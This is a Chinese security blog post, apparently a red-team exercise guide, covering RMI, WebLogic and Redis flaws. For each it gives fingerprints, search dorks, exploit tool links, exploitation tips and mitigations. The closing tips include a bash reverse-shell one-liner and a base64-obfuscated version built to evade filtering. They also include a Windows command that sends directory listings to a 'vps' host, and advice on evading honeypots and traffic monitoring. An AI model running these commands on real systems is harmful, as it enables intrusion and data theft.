1098, 1099, 1090, 8901, 8902, 8903

N\x00

rmiregistry

4. Fofa Dork

protocol=="java-rmi"

5. 漏洞分析

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

RMI-反序列化 – 先知社区

https://xz.aliyun.com/t/6660 (https://xz.aliyun.com/t/6660)

6. 漏洞利用

Jenkins漏洞集合复现 ~ Misaki's Blog

https://misakikata.github.io/2020/03/Jenkins%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/ (https://misakikata.github.io/2020/03/Jenkins%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/)

Java RMI服务远程命令执行利用_91Ri.org

http://www.91ri.org/15276.html (http://www.91ri.org/15276.html)

7. 利用技巧

1.rmi一般在内网开放的比较多, nmap 扫描如下

```
nmap -v 8.8.8.8 -p1099 -sV --script=rmi*
```

8. 防护方法

1.设置强口令

2.尽量不要开放到公网

3.限制来源IP

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

fastjson 反序列化远程代码执行漏洞

jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA E-Cology 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

Weblogic T3 协议漏洞

1. 漏洞简介

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序（客户端或者其它Weblogic Server实例）之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机（JVM）中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击.

2. 影响组件

Weblogic

3. 漏洞指纹

Lcom.tangosol.util.extractor.ReflectionExtractor

…

4. Fofa Dork

```
protocol=="weblogic"
```

5. 漏洞分析

相关漏洞有:

CVE-2017-3248

https://paper.seebug.org/333/ (https://paper.seebug.org/333/)

CVE-2018-2628

http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/ (http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/)

CVE-2018-2893

https://www.freebuf.com/vuls/178105.html (https://www.freebuf.com/vuls/178105.html)

CVE-2019-2890

https://paper.seebug.org/1069/ (https://paper.seebug.org/1069/)

CVE-2020-2555(Oracle Coherence)

https://paper.seebug.org/1141/ (https://paper.seebug.org/1141/)

除此之外, 还有最近Oracle 2020年4月安全通告中的CVE-2020-2801, CVE-2020-2883, CVE-2020-2884, CVE-2020-2915(Oracle Coherence)等漏洞.

https://www.oracle.com/security-alerts/cpuapr2020.html (https://www.oracle.com/security-alerts/cpuapr2020.html)

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

https://github.com/0xn0ne/weblogicScanner (https://github.com/0xn0ne/weblogicScanner)

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

6. 漏洞利用

weblogic 漏洞扫描工具

CVE-2020-2555

https://github.com/Y4er/CVE-2020-2555 (https://github.com/Y4er/CVE-2020-2555)

7. 利用技巧

1.T3 协议通常开放在内网, 外网基本绝迹, 快速检测可以使用nmap

```
nmap -sV --script=weblogic-t3-info.nse -p 7001
```

2.内网使用最新的利用链即可, weblogic也支持TLS加密的t3s, 可以使用

Bort-Millipede/WLT3Serial: Native Java-based deserialization exploit for WebLogic T3 (and T3S) listeners.

https://github.com/Bort-Millipede/WLT3Serial (https://github.com/Bort-Millipede/WLT3Serial)

8. 防护方法

1.及时更新补丁

2.禁用T3协议

3.禁止T3端口对外开放, 或者限制可访问T3端口的IP来源

Weblogic XMLDecoder反序列化

1. 漏洞简介

2017年4月Oacle官方安全通告, 包含了对与CVE编号CVE-2017-3506的修复补丁, wls-wsat这个提供的web service服务中, 处理xml数据的的时候, XMLDecoder的反序列化漏洞风险, 同年10月份的补丁中的则是对其绕过的修复, CVE编号为CVE-2017-10271.

2019年4月17日, CNVD 发布《关于Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞的安全公告》, 部分版本WebLogic中默认包含的wls9_async_response包, 为WebLogic Server提供异步通讯服务.由于该WAR包在反序列化处理输入信息时存在缺陷, 攻击者可以发送精心构造的恶意HTTP 请求, 获得目标服务器的权限, 在未授权的情况下远程执行命令.

2. 影响组件

WebLogic 10.X

WebLogic 12.1.3

3. 漏洞指纹

```
/wls-wsat/CoordinatorPortType
/_async/AsyncResponseService
/_async/AsyncResponseServiceSoap12
```

4. Fofa Dork

```
app="WebLogic-Server"
```

5. 漏洞分析

（CVE-2017-3506 &CVE-2017-10271）

http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/ (http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/)

CVE-2019-2725

https://paper.seebug.org/909/ (https://paper.seebug.org/909/)

6. 漏洞利用

weblogicScanner

https://github.com/0xn0ne/weblogicScanner (https://github.com/0xn0ne/weblogicScanner)

7. 利用技巧

1.由于nginx转发问题，尝试这种路径，可能有惊喜

/../wls-wsat/CoordinatorPortType11

/../_async/AsyncResponseService

2.Weblogic 写shell有个技巧

可以通过find/grep命令查找静态文件的路径，然后将命令结果输出到静态文件夹中，比如查找前台的logo.png / /static/css/main.css

8. 防护方法

1.通过访问策略控制禁止外部/_async/* 及 /wls-wsat/* 路径的URL访问；

2.删除对应war包并重启 webLogic；

3.限制源IP对应 weblogic 7001端口的访问.

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

Weblogic IIOP

1. 漏洞简介

2017年4月Oacle官方安全通告中，包含了对与CVE编号CVE-2020-2551的补丁，未经身份验证的攻击者可以通过IIOP对Oracle WebLogic Server进行攻击，造成远程代码执行.

2. 影响组件

Oracle WebLogic Server version:

10.3.6.0.0

12.1.3.0.0

12.2.1.3.0 and 12.2.1.4.0

3. 漏洞指纹

GIOP && com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager

4. Fofa Dork

app="WebLogic-Server"

5. 漏洞分析

WebLogic CVE-2020-2551漏洞分析
https://paper.seebug.org/1138/ (https://paper.seebug.org/1138/)

6. 漏洞利用

Y4er/CVE-2020-2551: Weblogic IIOP CVE-2020-2551
https://github.com/Y4er/CVE-2020-2551 (https://github.com/Y4er/CVE-2020-2551)

7. 利用技巧

漫谈WebLogic CVE-2020-2551 – 安全客，安全资讯平台
https://www.anquanke.com/post/id/201005 (https://www.anquanke.com/post/id/201005)

8. 防护方法

1.及时更新补丁

2.通过 Weblogic 控制台进行关闭 IIOP 协议

Redis 相关漏洞

1. 漏洞简介

Redis 在近几年也是攻击的重点，早期Redis默认没有密码，且经常开放到公网，Redis可以进行文件写入，以及后面的主从复制远程代码执行漏洞，或者配合缓存序列化数据进行操作

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

2. 影响组件

Redis

3. 漏洞指纹

6379

4. Fofa Dork

app="Redis" && "redis_version"

5. 漏洞分析

Redis 基于主从复制的 RCE 利用方式

https://paper.seebug.org/975/ (https://paper.seebug.org/975/)

6. 漏洞利用

n0b0dyCN/RedisModules-ExecuteCommand: Tools, utilities and scripts to help you write redis modules!

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand (https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)

7. 利用技巧

1.当Redis 权限满足写文件时

linux 写计划任务，windows写启动目录，如果可以都写web目录的webshell

2.当Redis 权限不满足写文件时

发现Redis记录中存在JSON串的时候，可以尝试写入Fastjson或Jackson的反序列化漏洞

发现Redis记录中存在AC ED这种反序列化特征的时候，可以尝试写入ysoserial产生的序列化数据

8. 防护方法

1.Redis 设置强口令

2.Redis 尽量不要开放到公网

3.限制来源IP

后记

1.记得躲避蜜罐，现在身份识别蜜罐基本都是使用jsonp进行互联网身份识别，随便抽一个蜜罐，公网大概一百多台

搜索结果 – FOFA网络空间测绘系统

https://fofa.so/result?q=%22var+jtoken%3D%27%22&qbase64=InZhciBqdG9rZW49Jyl%3D (https://fofa.so/result?q=%22var+jtoken%3D%27%22&qbase64=InZhciBqdG9rZW49Jyl%3D)

2.反弹shell 可以使用openssl反弹443端口，现在厂商一般都有流量监控设备，直接明文传输会被审查到

Reverse shell cheatsheet 多种反弹shell的命令

https://krober.biz/misc/reverse_shell.php (https://krober.biz/misc/reverse_shell.php)

3.很多时候执行命令不能有特殊符号，比如尖角号之类的，可以使用 base64进行传参

```
bash -i >& /dev/tcp/127.0.0.1/1337 0>&1
```

base64 可以转换成

```
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTMzNyAwPiYx
```

最终可以变成

```
bash -c "{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTMzNyAwPiYx}|{base64, -d}|{bash, -i}"
```

4.windows机器可以使用ie浏览器带数据出来，很多杀软不会拦截ie浏览器，unc 传输文件也可以

```
for /f %s in ('dir c:\ /b') do explorer http://vps:8000/?%s
```

\\vps\share\shell.bat

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL 注入漏洞

泛微OA 数据库泄露漏洞

5.针对很多时候java类漏洞, 比如反序列化, rmi, jmx, iiop等情况, 时常会遇到timeout的情况

这里主要是没有指定**hostname**, 这里可以使用**socat**进行流量转发, 无需修改POC, 以**CVE-2019-12409**为例

> 这里针对 ENABLE_REMOTE_JMX_OPTS 远程代码执行(CVE-2019-12409) 多说一点, 因为这个问题在所有的jmx连接中都有可能出现
> 这里存在一个问题, JMX Server如果在启动时没有指明hostname, 那么在客户端与服务器交互过程中, 有一步返回 stub rmiserver的过程, 其中地址可能为内网地址
> 通过查看报错, 可以得知内网地址, 例如 172.18.0.2
> 使用如下两条命令即可执行, 替换 **[报错中的ip]**, **[远程目标的ip]**

```
ip addr add [报错中的ip]/24 dev lo
socat tcp4-listen:18983, bind=[报错中的ip], reuseaddr, fork tcp4-connect:[远程目标的ip]:18983
```

6.Java 反序列化是这两年的重中之重, 如果有shell出不来可以参考以下链接

深入理解JAVA反序列化漏洞 | 漏洞盒子 | 互联网安全测试众测平台
https://www.vulbox.com/knowledge/detail/?id=11 (https://www.vulbox.com/knowledge/detail/?id=11)

tomcat不出网回显连续剧第六集 – 先知社区
https://xz.aliyun.com/t/7535 (https://xz.aliyun.com/t/7535)

Weblogic T3/iiop 构造有回显exp方案分析 – 先知社区
https://xz.aliyun.com/t/7489 (https://xz.aliyun.com/t/7489)

weblogic IIOP漏洞的回显构造研究 – 先知社区
https://xz.aliyun.com/t/7393 (https://xz.aliyun.com/t/7393)

linux下java反序列化通杀回显方法的低配版实现 – 先知社区
https://xz.aliyun.com/t/7307 (https://xz.aliyun.com/t/7307)

照弹不误:出站端口受限环境下反弹Shell的思考 – FreeBuf互联网安全新媒体平台
https://www.freebuf.com/vuls/232544.html (https://www.freebuf.com/vuls/232544.html)

如何绕过高版本JDK限制进行JNDI注入利用
https://mp.weixin.qq.com/s/Dq1CPbUDLKH2IN0NA_nBDA (https://mp.weixin.qq.com/s/Dq1CPbUDLKH2IN0NA_nBDA)

JosephTribbianni/JNDI: JNDI 注入利用工具
https://github.com/JosephTribbianni/JNDI (https://github.com/JosephTribbianni/JNDI)

7.永远相信弱口令的力量, 文中没有提到的 mysql, mssql, rdp, ssh, docker-api, 大数据平台相关组件或者更多常见不常见服务, 很多都是弱口令/未授权一把梭的问题
最后祝大家 **开局有0day, 处处弱口令**

斗象智能安全系列产品 助力企业攻防演练行动

如下为系列产品在攻防演练中使用场景

ARS 智能风险检测 (https://www.riskivy.com/ars)
攻防演练场景：多策略结合有效识别资产脆弱性，安全时段检测有效避开高峰时间段，鱼鹰框架集成支持用户自定义检测规则

CRS 云端安全监测中心 (https://www.riskivy.com/crs)
攻防演练场景：Web资产全面梳理，7*24小时目标资产可用性监测，漏洞情报实时掌握最新漏洞状态

PRS-NTA全流量存储与智能分析系统 (https://www.riskivy.com/prs)
攻防演练场景：网络协议全量解析集中存储，蓝军视角攻击者画像，自定义协议特征过滤器应急0Day漏洞，机器学习技术有效识别C&C通信

NXIDS下一代入侵检测系统 (https://www.riskivy.com/prs-nxids)
攻防演练场景：APT高级威胁检测，基于KC攻击链的预警策略，双向检测引擎识别攻击成功行为

MAC恶意软件智能分析中心 (https://www.riskivy.com/prs-mac)
攻防演练场景：多模型融合恶意文件分析方法、有效提升恶意驱动，勒索软件以及常见病毒等风险检测

作者:斗象能力中心 TCC – 小胖虎

感谢 星光, tbag 的大力支持

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

关键字导航： WEB安全 (https://blog.riskivy.com/tag/web%e5%ae%89%e5%85%a8/) 漏洞分析
(https://blog.riskivy.com/tag/%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/) 网络安全
(https://blog.riskivy.com/tag/%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8/) 区块链 (https://blog.riskivy.com/tag/%e5%8c%ba%e5%9d%97%e9%93%be/) 智能合约 (https://blog.riskivy.com/tag/%e6%99%ba%e8%83%bd%e5%90%88%e7%ba%a6/) 机器学习
(https://blog.riskivy.com/tag/%e6%9c%ba%e5%99%a8%e5%ad%a6%e4%b9%a0/) ThinkPHP5 (https://blog.riskivy.com/tag/thinkphp5/) 反序列化
(https://blog.riskivy.com/tag/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96/) 远程代码执行
(https://blog.riskivy.com/tag/%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c/) Fastjson (https://blog.riskivy.com/tag/fastjson/) Confluence
(https://blog.riskivy.com/tag/confluence/) Jackson (https://blog.riskivy.com/tag/jackson/) IoT安全 (https://blog.riskivy.com/tag/iot%e5%ae%89%e5%85%a8/) 渗透测试
(https://blog.riskivy.com/tag/%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95/) 内网渗透
(https://blog.riskivy.com/tag/%e5%86%85%e7%bd%91%e6%b8%97%e9%80%8f/) WebLogic (https://blog.riskivy.com/tag/weblogic/) WebShell
(https://blog.riskivy.com/tag/webshell/) 逆向分析 (https://blog.riskivy.com/tag/%e9%80%86%e5%90%91%e5%88%86%e6%9e%90/) 恶意文件
(https://blog.riskivy.com/tag/%e6%81%b6%e6%84%8f%e6%96%87%e4%bb%b6/) Shiro (https://blog.riskivy.com/tag/shiro/) DNS隧道
(https://blog.riskivy.com/tag/dns%e9%9a%a7%e9%81%93/) 代码审计 (https://blog.riskivy.com/tag/%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1/) 统计分析
(https://blog.riskivy.com/tag/%e7%bb%9f%e8%ae%a1%e5%88%86%e6%9e%90/) ICMP隧道 (https://blog.riskivy.com/tag/icmp%e9%9a%a7%e9%81%93/) 漏洞挖掘
(https://blog.riskivy.com/tag/%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98/) 被动扫描
(https://blog.riskivy.com/tag/%e8%a2%ab%e5%8a%a8%e6%89%ab%e6%8f%8f/) ACL (https://blog.riskivy.com/tag/acl/) Windows域
(https://blog.riskivy.com/tag/windows%e5%9f%9f/) mitmproxy (https://blog.riskivy.com/tag/mitmproxy/) Kubernetes (https://blog.riskivy.com/tag/kubernetes/) Nuxeo
(https://blog.riskivy.com/tag/nuxeo/) ECSHop (https://blog.riskivy.com/tag/ecshop/) 域控制器
(https://blog.riskivy.com/tag/%e5%9f%9f%e6%8e%a7%e5%88%b6%e5%99%a8/) DCShadow (https://blog.riskivy.com/tag/dcshadow/) 移动安全
(https://blog.riskivy.com/tag/%e7%a7%bb%e5%8a%a8%e5%ae%89%e5%85%a8/) Flask-admin (https://blog.riskivy.com/tag/flask-admin/) 内网安全
(https://blog.riskivy.com/tag/%e5%86%85%e7%bd%91%e5%ae%89%e5%85%a8/) 邮件服务
(https://blog.riskivy.com/tag/%e9%82%ae%e4%bb%b6%e6%9c%8d%e5%8a%a1/) Exchange (https://blog.riskivy.com/tag/exchange/) Spark
(https://blog.riskivy.com/tag/spark/)

相关推荐

Shiro 权限绕过漏洞分析（CVE-2020-1957） (https://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/)

SMBv3远程代码执行漏洞(CVE-2020-0796)分析
(https://blog.riskivy.com/%e9%9b%b6%e5%9f%ba%e7%a1%80%e6%8e%a2%e7%b4%a2smbv3%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%

CVE-2020-5405 Spring Cloud Config Server 目录穿越 (https://blog.riskivy.com/cve-2020-5405-spring-cloud-config-server-%e7%9b%ae%e5%bd%95%e7%a9%bf%e8%b6%8a/)

ThinkCMF 框架上的任意内容包含漏洞 (https://blog.riskivy.com/thinkcmf-%e6%a1%86%e6%9e%b6%e4%b8%8a%e7%9a%84%e4%bb%bb%e6%84%8f%e5%86%85%e5%ae%b9%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e/)

基于mitmproxy的被动扫描代理
(https://blog.riskivy.com/%e5%9f%ba%e4%ba%8emitmproxy%e7%9a%84%e8%a2%ab%e5%8a%a8%e6%89%ab%e6%8f%8f%e4%bb%a3%e7%90%86/)

评论（0）

暂无评论

发表评论

默认匿名 | 邮箱 | 请输入验证码 | 提交评论

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

邮箱：support@tophant.com
咨询：400 156 9866（7*24小时）

产品中心

PRS-NTA (https://www.riskivy.com/prs)

PRS-NXIDS (https://www.riskivy.com/prs-nxids)

PRS-MAC (https://www.riskivy.com/prs-mac)

ARS (https://www.riskivy.com/ars)

CRS (https://www.riskivy.com/crs)

关于我们

最新动态 (https://www.riskivy.com/aboutUs/news)

关于斗象智能安全平台 (https://www.riskivy.com/aboutUs/about)

客户故事 (https://www.riskivy.com/aboutUs/partner)

联系我们 (https://www.riskivy.com/aboutUs/contact)

加入我们 (https://www.lagou.com/gongsi/j33219.html)

友情链接

斗象科技 (http://www.tophant.com)

FreeBuf (https://www.freebuf.com)

漏洞盒子 (http://www.vulbox.com)

关注服务号